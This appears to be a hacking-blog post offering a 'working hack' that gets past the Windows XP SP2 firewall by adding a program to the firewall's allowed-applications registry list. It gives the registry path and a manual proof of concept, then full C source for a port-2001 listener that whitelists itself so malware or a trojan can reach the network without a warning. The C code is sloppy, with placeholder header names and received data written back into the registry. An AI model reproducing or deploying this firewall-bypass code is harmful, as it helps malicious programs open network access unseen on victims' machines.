How to Bypass Windows XP Firewall

How to Bypass Windows XP Firewall using C program.

Hello Friends, today i will share with you the technique using which we can bypass windows-xp service pack-2 firewall. Its a 100% working hack and its basically an exploit in windows XP.

This techniques is nothing but the vulnerability found in windows-xp sp2 firewall.


Windows XP Firewall Bypassing (Registry Based) :- Microsoft Windows XP SP2 comes bundled with a Firewall. Direct access to Firewall's registry keys allow local attackers to bypass the Firewall blocking list and allow malicious program to connect the network.

Vulnerable Systems :-
* Microsoft Windows XP SP2

Windows XP SP2 Firewall has list of allowed program in registry which are not properly protected from modification by a malicious local attacker.If an attacker adds a new key to the registry address of  

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ SharedAccess\Parameters\FirewallPolicy\StandardProfile\ AuthorizedApplications\List

 the attacker can enable his malware or Trojan to connect to the Internet without the Firewall triggering a warning.

Proof of Concept :-
Launch the regedit.exe program and access the keys found under the following path:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ SharedAccess\Parameters\FirewallPolicy\StandardProfile\ AuthorizedApplications\List

Add an entry key such as this one:
Name: C:\chat.exe
Value: C:\chat.exe:*:Enabled:chat

Source Code :-

#include <*stdio.h*>
#include <*windows.h*>
#include <*ezsocket.h*>
#include <*conio.h*>
#include "Shlwapi.h"
int main( int argc, char *argv [] )
{
char buffer[1024];
char filename[1024];
HKEY hKey;
int i;
GetModuleFileName(NULL, filename, 1024);
strcpy(buffer, filename);
strcat(buffer, ":*:Enabled:");
strcat(buffer, "bugg");
RegOpenKeyEx(
HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services" "\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile" "\\AuthorizedApplications\\List",
0,
KEY_ALL_ACCESS,
&hKey);
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

int temp, sockfd, new_fd, fd_size;
struct sockaddr_in remote_addr;
fprintf(stdout, "Simple server example with Anti SP2 firewall trick \n");
fprintf(stdout, " This is not trojan \n");
fprintf(stdout, " Opened port is :2001 \n");
fprintf(stdout, "author:Adnan Anjum\n");
fprintf(stdout, "Dedicated to hackguide4u \n");
sleep(3);
if ((sockfd = ezsocket(NULL, NULL, 2001, SERVER)) == -1)
return 0;
for (; ; )
{
RegDeleteValue(hKey, filename);
fd_size = sizeof(struct sockaddr_in);
if ((new_fd = accept(sockfd, (struct sockaddr *)&remote_addr, &fd_size)) == -1)
{
perror("accept");
continue;
}
temp = send(new_fd, "Hello Pakistan\r\n", strlen("Hello Pakistan\r\n"), 0);
fprintf(stdout, "Sended: Hello Pakistan\r\n");
temp = recv(new_fd, buffer, 1024, 0);
buffer[temp] = '\0';
fprintf(stdout, "Recieved: %s\r\n", buffer);
ezclose_socket(new_fd);
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));
if (!strcmp(buffer, "quit"))
break;
}
ezsocket_exit();
return 0;
}
/* EoF */

Remove ** from the header files... easier to understand...Here we are just manipulating registry values using this program...
